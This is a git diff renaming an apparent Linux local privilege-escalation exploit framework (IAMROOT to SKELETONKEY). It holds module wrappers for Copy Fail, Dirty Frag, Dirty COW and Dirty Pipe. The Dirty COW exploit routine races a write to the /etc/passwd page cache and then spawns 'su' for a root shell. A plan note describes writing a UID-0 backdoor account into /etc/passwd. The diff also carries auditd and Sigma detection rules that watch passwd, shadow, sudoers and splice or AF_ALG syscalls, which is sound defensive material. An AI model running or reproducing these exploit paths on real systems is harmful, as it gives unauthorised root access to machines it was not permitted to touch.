return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* ----- copy_fail (CVE-2026-31431) ----- */
|
||||
|
||||
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_detect();
|
||||
return (skeletonkey_result_t)copyfail_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
|
||||
return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
/* Shared detection rules for the copy_fail family — every member of
|
||||
@@ -99,19 +99,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static const char copy_fail_family_auditd[] =
|
||||
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
|
||||
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n"
|
||||
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
|
||||
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
|
||||
"# xfrm SA setup (Dirty Frag ESP variants)\n"
|
||||
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
|
||||
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
|
||||
|
||||
static const char copy_fail_family_sigma[] =
|
||||
"title: Copy Fail / Dirty Frag family exploitation\n"
|
||||
"id: 4d8e6c2a-iamroot-copy-fail-family\n"
|
||||
"id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
|
||||
@@ -127,7 +127,7 @@ static const char copy_fail_family_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||
|
||||
const struct iamroot_module copy_fail_module = {
|
||||
const struct skeletonkey_module copy_fail_module = {
|
||||
.name = "copy_fail",
|
||||
.cve = "CVE-2026-31431",
|
||||
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
|
||||
@@ -145,19 +145,19 @@ const struct iamroot_module copy_fail_module = {
|
||||
|
||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||
|
||||
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_gcm_detect();
|
||||
return (skeletonkey_result_t)copyfail_gcm_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
||||
return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module copy_fail_gcm_module = {
|
||||
const struct skeletonkey_module copy_fail_gcm_module = {
|
||||
.name = "copy_fail_gcm",
|
||||
.cve = "VARIANT",
|
||||
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
|
||||
@@ -175,19 +175,19 @@ const struct iamroot_module copy_fail_gcm_module = {
|
||||
|
||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp_detect();
|
||||
return (skeletonkey_result_t)dirtyfrag_esp_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
||||
return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_esp_module = {
|
||||
const struct skeletonkey_module dirty_frag_esp_module = {
|
||||
.name = "dirty_frag_esp",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
|
||||
@@ -205,19 +205,19 @@ const struct iamroot_module dirty_frag_esp_module = {
|
||||
|
||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp6_detect();
|
||||
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
||||
return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_esp6_module = {
|
||||
const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||
.name = "dirty_frag_esp6",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
|
||||
@@ -235,19 +235,19 @@ const struct iamroot_module dirty_frag_esp6_module = {
|
||||
|
||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_rxrpc_detect();
|
||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_rxrpc_module = {
|
||||
const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
||||
.name = "dirty_frag_rxrpc",
|
||||
.cve = "CVE-2026-43500",
|
||||
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
|
||||
@@ -265,11 +265,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = {
|
||||
|
||||
/* ----- Family registration ----- */
|
||||
|
||||
void iamroot_register_copy_fail_family(void)
|
||||
void skeletonkey_register_copy_fail_family(void)
|
||||
{
|
||||
iamroot_register(©_fail_module);
|
||||
iamroot_register(©_fail_gcm_module);
|
||||
iamroot_register(&dirty_frag_esp_module);
|
||||
iamroot_register(&dirty_frag_esp6_module);
|
||||
iamroot_register(&dirty_frag_rxrpc_module);
|
||||
skeletonkey_register(©_fail_module);
|
||||
skeletonkey_register(©_fail_gcm_module);
|
||||
skeletonkey_register(&dirty_frag_esp_module);
|
||||
skeletonkey_register(&dirty_frag_esp6_module);
|
||||
skeletonkey_register(&dirty_frag_rxrpc_module);
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* copy_fail_family — SKELETONKEY module registry hooks
|
||||
*
|
||||
* The family currently contains five skeletonkey_module entries:
|
||||
*
|
||||
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
||||
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
||||
* - dirty_frag_esp (CVE-2026-43284 v4)
|
||||
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
||||
* - dirty_frag_rxrpc (CVE-2026-43500)
|
||||
*
|
||||
* Defined in skeletonkey_modules.c, registered into the global registry
|
||||
* by skeletonkey_register_copy_fail_family() (declared in
|
||||
* core/registry.h).
|
||||
*/
|
||||
|
||||
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||
#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module copy_fail_module;
|
||||
extern const struct skeletonkey_module copy_fail_gcm_module;
|
||||
extern const struct skeletonkey_module dirty_frag_esp_module;
|
||||
extern const struct skeletonkey_module dirty_frag_esp6_module;
|
||||
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
||||
|
||||
#endif
|
||||
@@ -13,7 +13,7 @@ the kernel since ~2007.
|
||||
Original advisory: <https://dirtycow.ninja/>
|
||||
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Two-thread Phil-Oester-style race: writer thread via
|
||||
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_COW_IAMROOT_MODULES_H
|
||||
#define DIRTY_COW_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module dirty_cow_module;
|
||||
|
||||
#endif
|
||||
+26
-26
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — IAMROOT module
|
||||
* dirty_cow_cve_2016_5195 — SKELETONKEY module
|
||||
*
|
||||
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
|
||||
* handling: a thread writing to /proc/self/mem races a thread calling
|
||||
@@ -41,7 +41,7 @@
|
||||
* - execve(su) → shell with uid=0
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -224,14 +224,14 @@ static void revert_passwd_page_cache(void)
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- iamroot interface ---- */
|
||||
/* ---- skeletonkey interface ---- */
|
||||
|
||||
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
|
||||
@@ -239,7 +239,7 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
||||
@@ -247,26 +247,26 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
||||
"/etc/passwd via /proc/self/mem\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = dirty_cow_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = dirty_cow_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
off_t uid_off;
|
||||
@@ -275,7 +275,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
@@ -292,12 +292,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
||||
@@ -305,17 +305,17 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Embedded detection rules ---- */
|
||||
@@ -325,14 +325,14 @@ static const char dirty_cow_auditd[] =
|
||||
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
|
||||
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
|
||||
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
|
||||
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
|
||||
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
|
||||
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
|
||||
|
||||
static const char dirty_cow_sigma[] =
|
||||
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
|
||||
"id: 1e2c5d8f-iamroot-dirty-cow\n"
|
||||
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
|
||||
@@ -350,7 +350,7 @@ static const char dirty_cow_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||
|
||||
const struct iamroot_module dirty_cow_module = {
|
||||
const struct skeletonkey_module dirty_cow_module = {
|
||||
.name = "dirty_cow",
|
||||
.cve = "CVE-2016-5195",
|
||||
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
|
||||
@@ -366,7 +366,7 @@ const struct iamroot_module dirty_cow_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_dirty_cow(void)
|
||||
void skeletonkey_register_dirty_cow(void)
|
||||
{
|
||||
iamroot_register(&dirty_cow_module);
|
||||
skeletonkey_register(&dirty_cow_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
|
||||
#define DIRTY_COW_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirty_cow_module;
|
||||
|
||||
#endif
|
||||
@@ -25,7 +25,7 @@ by them.
|
||||
|
||||
Even in 2026, many production deployments still run vulnerable
|
||||
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
|
||||
makes IAMROOT useful as a "historical sweep" tool on long-tail
|
||||
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
|
||||
systems.
|
||||
|
||||
## Implementation plan
|
||||
@@ -34,8 +34,8 @@ systems.
|
||||
`NOTICE.md` when implemented)
|
||||
- `detect()`: kernel version check + `/proc/version` parse + test
|
||||
for fixed-version backports
|
||||
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
|
||||
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
|
||||
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
|
||||
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
|
||||
backdoor mode
|
||||
- Detection rules: auditd on splice() calls + pipe write patterns,
|
||||
filesystem audit on `/etc/passwd` modification by non-root
|
||||
@@ -44,4 +44,4 @@ systems.
|
||||
|
||||
Pick this up after Phase 1 (module-interface refactor of the
|
||||
copy_fail family) so this module can use the standard
|
||||
`iamroot_module` shape from the start.
|
||||
`skeletonkey_module` shape from the start.
|
||||
|
||||
@@ -13,7 +13,7 @@ Original advisory: <https://dirtypipe.cm4all.com/>
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
This module bundles the canonical splice-into-pipe primitive that
|
||||
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
|
||||
|
||||
@@ -13,14 +13,14 @@
|
||||
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
|
||||
# any modification by non-root — the Dirty Pipe payload typically
|
||||
# overwrites these to gain root.
|
||||
-w /etc/passwd -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/shadow -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
|
||||
|
||||
# Watch every splice() syscall — combined with the file watches above
|
||||
# this catches the canonical exploit shape. (High volume on servers
|
||||
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
|
||||
# exclude web servers.)
|
||||
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
|
||||
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
|
||||
id: f6b13c08-iamroot-dirty-pipe
|
||||
id: f6b13c08-skeletonkey-dirty-pipe
|
||||
status: experimental
|
||||
description: |
|
||||
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
|
||||
@@ -10,7 +10,7 @@ description: |
|
||||
references:
|
||||
- https://dirtypipe.cm4all.com/
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
|
||||
author: IAMROOT
|
||||
author: SKELETONKEY
|
||||
date: 2026/05/16
|
||||
logsource:
|
||||
product: linux
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
|
||||
#define DIRTY_PIPE_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module dirty_pipe_module;
|
||||
|
||||
#endif
|
||||
+39
-39
@@ -1,9 +1,9 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — IAMROOT module
|
||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module
|
||||
*
|
||||
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
||||
* commit (the C code is well-understood — Max Kellermann's public PoC
|
||||
* is the reference — but landing it under the iamroot_module
|
||||
* is the reference — but landing it under the skeletonkey_module
|
||||
* interface needs the shared passwd-field/exploit-su helpers in core/
|
||||
* which are deferred to Phase 1.5).
|
||||
*
|
||||
@@ -15,22 +15,22 @@
|
||||
*
|
||||
* Detect logic:
|
||||
* - Parse uname() release into major.minor.patch
|
||||
* - If kernel < 5.8 → IAMROOT_OK (bug not introduced yet)
|
||||
* - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet)
|
||||
* - If kernel is on a branch with a known backport, compare patch
|
||||
* level (above threshold = patched, below = vulnerable)
|
||||
* - If kernel >= 5.17 → IAMROOT_OK (mainline fix)
|
||||
* - Otherwise → IAMROOT_VULNERABLE
|
||||
* - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix)
|
||||
* - Otherwise → SKELETONKEY_VULNERABLE
|
||||
*
|
||||
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
|
||||
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
|
||||
* counter, NOT the upstream patch level). For now we treat that as
|
||||
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
|
||||
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
|
||||
* hint. A future enhancement: parse /proc/version's full string
|
||||
* which usually includes the upstream patch level after the distro
|
||||
* suffix.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -223,7 +223,7 @@ static const struct kernel_range dirty_pipe_range = {
|
||||
* /etc/passwd writes; safe to run from --scan --active. */
|
||||
static int dirty_pipe_active_probe(void)
|
||||
{
|
||||
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
|
||||
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
|
||||
int fd = mkstemp(probe_path);
|
||||
if (fd < 0) return -1;
|
||||
const char seed[16] = "ABCDABCDABCDABCD";
|
||||
@@ -252,12 +252,12 @@ static int dirty_pipe_active_probe(void)
|
||||
return readback[4] == 'X' ? 1 : 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.8. */
|
||||
@@ -266,7 +266,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
||||
@@ -286,7 +286,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||
"(version %s)\n", v.release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (probe == 0) {
|
||||
if (!ctx->json) {
|
||||
@@ -294,7 +294,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
"primitive blocked (likely patched%s)\n",
|
||||
patched_by_version ? "" : ", or distro silently backported");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
|
||||
* back to version-only verdict and report TEST_ERROR caveat */
|
||||
@@ -309,21 +309,21 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||
"use --active to confirm empirically)\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||
" Confirm empirically: re-run with --scan --active\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
||||
iamroot_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -333,11 +333,11 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
struct passwd *pw = getpwuid(euid);
|
||||
if (!pw) {
|
||||
